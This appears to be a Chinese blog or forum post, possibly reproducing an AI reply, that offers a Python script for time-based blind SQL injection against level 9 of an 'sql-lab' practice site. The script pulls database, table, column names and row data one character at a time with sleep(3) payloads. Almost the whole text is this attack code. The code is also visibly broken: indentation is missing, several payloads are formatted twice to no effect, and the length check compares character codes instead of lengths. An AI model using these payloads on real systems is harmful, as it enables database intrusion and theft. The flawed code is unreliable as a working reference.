当然可以帮你写一个基于时间盲注的Python程序，获取数据库名，表名，列名和数据。以下是示例代码：
```python
import requests
import string
# 数据库名长度
db_name_length = 0
# 数据库名
db_name = ''
# 表名列表
table_names = []
# 列名列表
column_names = []
# 数据列表
data_list = []
# SQL注入语句的前缀和后缀
sql_prefix = "1' and if((select ascii(substring(database(),{},1)))={},sleep(3),1)-- -"
sql_suffix = ''
# 发送请求的函数
def make_request(payload):
url = "http://your-ip/sql-lab/my-query"
data = {
'query': payload,
'submit': 'Submit Query'
}
headers = {
'Cookie': 'session=your-session-id'
}
response = requests.post(url, data=data, headers=headers)
return response.elapsed.total_seconds()
# 获取数据库名长度
for i in range(1, 100):
payload = sql_prefix.format(i, 97)
if make_request(payload) >= 3:
db_name_length = i
break
# 获取数据库名
for i in range(1, db_name_length + 1):
for j in string.printable:
payload = sql_prefix.format(i, ord(j))
if make_request(payload) >= 3:
db_name += j
break
# 获取表名列表
payload = "1' and if((select count(*) from information_schema.tables where table_schema='{}')={},sleep(3),1)-- -".format(db_name, 0)
if make_request(payload) >= 3:
table_count_payload = "1' and if((select count(*) from information_schema.tables where table_schema='{}')={},sleep(3),1)-- -".format(db_name, 1)
table_count = 0
for i in range(1, 100):
payload = table_count_payload.format(i)
if make_request(payload) >= 3:
table_count = i
break
for i in range(table_count):
table_payload = "1' and if((select ascii(substring(table_name,{},1)) from information_schema.tables where table_schema='{}' limit {},1)={},sleep(3),1)-- -".format(1, db_name, i, 0)
table_name_length = 0
for j in range(1, 100):
payload = table_payload.format(j)
if make_request(payload) >= 3:
table_name_length = j
break
table_name = ''
for j in range(1, table_name_length + 1):
for k in string.printable:
payload = "1' and if((select ascii(substring(table_name,{},1)) from information_schema.tables where table_schema='{}' limit {},1)={},sleep(3),1)-- -".format(j, db_name, i, ord(k))
if make_request(payload) >= 3:
table_name += k
break
table_names.append(table_name)
# 获取列名列表和数据列表
for table_name in table_names:
column_payload = "1' and if((select count(*) from information_schema.columns where table_schema='{}' and table_name='{}')={},sleep(3),1)-- -".format(db_name, table_name, 0)
if make_request(column_payload) >= 3:
column_count_payload = "1' and if((select count(*) from information_schema.columns where table_schema='{}' and table_name='{}')={},sleep(3),1)-- -".format(db_name, table_name, 1)
column_count = 0
for i in range(1, 100):
payload = column_count_payload.format(i)
if make_request(payload) >= 3:
column_count = i
break
for i in range(column_count):
column_payload = "1' and if((select ascii(substring(column_name,{},1)) from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1)={},sleep(3),1)-- -".format(1, db_name, table_name, i, 0)
column_name_length = 0
for j in range(1, 100):
payload = column_payload.format(j)
if make_request(payload) >= 3:
column_name_length = j
break
column_name = ''
for j in range(1, column_name_length + 1):
for k in string.printable:
payload = "1' and if((select ascii(substring(column_name,{},1)) from information_schema.columns where table_schema='{}' and table_name='{}' limit {},1)={},sleep(3),1)-- -".format(j, db_name, table_name, i, ord(k))
if make_request(payload) >= 3:
column_name += k
break
column_names.append(column_name)
data_payload = "1' and if((select count(*) from {})={},sleep(3),1)-- -".format(table_name, 0)
if make_request(data_payload) >= 3:
data_count_payload = "1' and if((select count(*) from {})={},sleep(3),1)-- -".format(table_name, 1)
data_count = 0
for j in range(1, 100):
payload = data_count_payload.format(j)
if make_request(payload) >= 3:
data_count = j
break
for j in range(data_count):
data_item = {}
for column_name in column_names:
data_payload = "1' and if((select ascii(substring({},1)) from {} limit {},1)={},sleep(3),1)-- -".format(column_name, table_name, j, 0)
data_length = 0
for k in range(1, 100):
payload = data_payload.format(k)
if make_request(payload) >= 3:
data_length = k
break
data_value = ''
for k in range(1, data_length + 1):
for l in string.printable:
payload = "1' and if((select ascii(substring({},{})) from {} limit {},1)={},sleep(3),1)-- -".format(column_name, k, table_name, j, ord(l))
if make_request(payload) >= 3:
data_value += l
break
data_item[column_name] = data_value
data_list.append(data_item)
# 打印结果
print('Database name: {}'.format(db_name))
print('Table names: {}'.format(table_names))
print('Column names: {}'.format(column_names))
print('Data: {}'.format(data_list))
```
需要修改的地方：
1. 将 `your-ip` 替换成 sql-lab 的 IP 地址
2. 将 `your-session-id` 替换成你的 sql-lab 的 session ID
注意：这个程序只适用于 sql-lab 第九关的时间盲注。如果你要用于其他情况，请适当修改代码。
183
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
